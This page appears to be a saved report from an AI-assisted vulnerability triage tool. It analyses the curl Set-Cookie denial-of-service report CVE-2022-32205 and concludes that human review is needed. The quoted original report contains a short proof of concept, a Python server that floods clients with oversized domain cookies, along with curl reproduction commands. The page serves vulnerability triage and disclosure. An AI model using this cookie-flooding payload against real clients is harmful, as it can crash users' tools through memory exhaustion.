✓ProveIt
Examples / Report #1569946 Saved analysis

CVE-2022-32205: Set-Cookie denial of service

curl · 2022-05-1313.1s analysis · $0.009 in model calls

What the report claims

Curl fails to limit the number of cookies that can be set by a single host/domain, leading to denial of service via memory exhaustion.

Compare with curl's recorded outcome

Known vulnerability

A real vulnerability: CVE-2022-32205 Set-Cookie denial of service

Shown for comparison after analysis. The pipeline did not see this label.

ProveIt's finding

Needs human review

The available evidence does not settle the report. A maintainer should investigate.

Why this finding?
  • The report describes a plausible DoS via unbounded domain cookies exceeding the 1 MB DYN_HTTP_REQUEST buffer.
  • However, the critical cookie handling code (parsing, storage, domain matching, request header assembly) is not among the provided source snippets.
  • Without that code, none of the six claims can be confirmed or contradicted.
What still needs checking
  • Cookie parsing and storage implementation (likely lib/cookie.c or similar).
  • Dynamic buffer (dynbuf) usage when building the Cookie request header.
  • Any existing per-domain or total cookie count/size limits.
How this analysis ran 6 claims · 0 citations verified

Checked against curl master on 2022-05-13 (d56270cb308e). Dev evaluation split. Citation verification checks that a referenced line was in the evidence; it does not prove the model interpreted it correctly.

1 · Grounding
grounded
no model · 4 references checked out, 0 did not
2 · Claims
NVIDIA-Nemotron-3-Nano-30B-A3B
6 claims · 1584 tokens · $0.0002
3 · Evidence
1 code snippets
real curl source at d56270cb308e
4 · Judgment
Nemotron-3-Ultra-550b-a55b
4378 tokens · 10.9s · $0.0088
5 · Receipts
0 of 0 citations verified
every citation must point at code the judge was shown
Review a draft reply to the reporter

Edit and verify before sending.

Thank you for the detailed report. To evaluate the claims, we need to see curl's cookie handling code: the Set-Cookie parser, the cookie jar storage, domain matching logic, and how cookies are serialized into the request header buffer (DYN_HTTP_REQUEST). Could you point to the relevant files or provide those files/functions, or we can fetch, the cookie implementation files at revision d56270cb308e?

Inspect all claims and source code 6 claims · 1 code excerpts

Report claims

C1flaw not verifiable

curl fails to limit the number of cookies that can be set by a single host/domain

Read the reasoning

The claim that curl fails to limit cookies per host/domain requires examining cookie storage and domain-matching code (e.g., cookie parsing, cookie jar limits). The provided source only shows DYN_HTTP_REQUEST definition; cookie handling files are not included.

C2flaw not verifiable

The request inhabits other headers as well as the cookies, so the amount of storage available for the cookies also varies per request

Read the reasoning

This claim about request buffer composition varying per request needs the HTTP request building code (dynbuf usage, header assembly). Not provided.

C3flaw not verifiable

Denial of service via instant CURLE_OUT_OF_MEMORY when DYN_HTTP_REQUEST memory is exceeded

Read the reasoning

While DYN_HTTP_REQUEST (1 MB) and CURLE_OUT_OF_MEMORY exist (confirmed by deterministic checks), the code path that enforces the limit and returns CURLE_OUT_OF_MEMORY when building a request with many cookies is not in the provided snippets.

C4flaw not verifiable

Any host in a given domain can target any other hosts in the same domain by using domain cookies

Read the reasoning

Domain cookie behavior (one host setting cookies for the whole domain) depends on curl's cookie domain-matching implementation. The relevant parsing and matching code is not provided.

C5flaw not verifiable

The attack works from both HTTP and HTTPS and from unprivileged ports

Read the reasoning

HTTP and HTTPS symbols exist in curl (confirmed), but the claim that the attack works over both protocols and from unprivileged ports is a network-level assertion not decidable from the provided code.

C6flaw not verifiable

Set-Cookie header with 256 entries each containing a 4092-byte value causes memory exhaustion

Read the reasoning

The specific memory exhaustion from 256 Set-Cookie headers with 4092-byte values requires the Set-Cookie parsing, cookie storage, and request serialization code. None of those files are in the provided source.

Read the original report

Full report on HackerOne ↗

## Summary: Curl fails to limit the number of cookies that can be set by a single host/domain. It can easily lead to a situation where constructing the request towards a host will end up consuming more than `DYN_HTTP_REQUEST` memory, leading to instant `CURLE_OUT_OF_MEMORY`. Any host in a given domain can target any other hosts in the same domain by using domain cookies. The attack works from both `HTTP` and `HTTPS` and from unprivileged ports. ## Steps To Reproduce: 1. Run the following python web server: ``` from http.server import BaseHTTPRequestHandler, HTTPServer class MyServer(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) for i in range(0,256): self.send_header("Set-Cookie", "f{}={}; Domain=hax.invalid".format(i, "A" * 4092)) self.end_headers() if __name__ == "__main__": webServer = HTTPServer(("127.0.0.1", 9000), MyServer) try: webServer.serve_forever() except KeyboardInterrupt: pass webServer.server_close() ``` 2. `curl -c cookie.txt -b cookie.txt --connect-to evilsite.hax.invalid:80:127.0.0.1:9000 http://evilsite.hax.invalid/` 3. `curl -c cookie.txt -b cookie.txt --connect-to targetedsite.hax.invalid:80:127.0.0.1:9000 http://targetedsite.hax.invalid/` This is CWE-770: Allocation of Resources Without Limits or Throttling # Remediation ideas The cookie matching being as complicated as it is makes it a bit hard to create a fix that always works fine. The request inhabits other headers as well as the cookies, so the amount of storage available for the cookies also varies per request. One relatively "easy" way to mitigate this would be to limit the amount of domain cookies a domain can have. But what should be done if `Set-Cookie` would go over this limit? Maybe flush the oldest cookies? ## Impact Denial of service

Source code

lib/dynbuf.hlines 77–77 · definition of DYN_HTTP_REQUEST
77#define DYN_HTTP_REQUEST (1024*1024)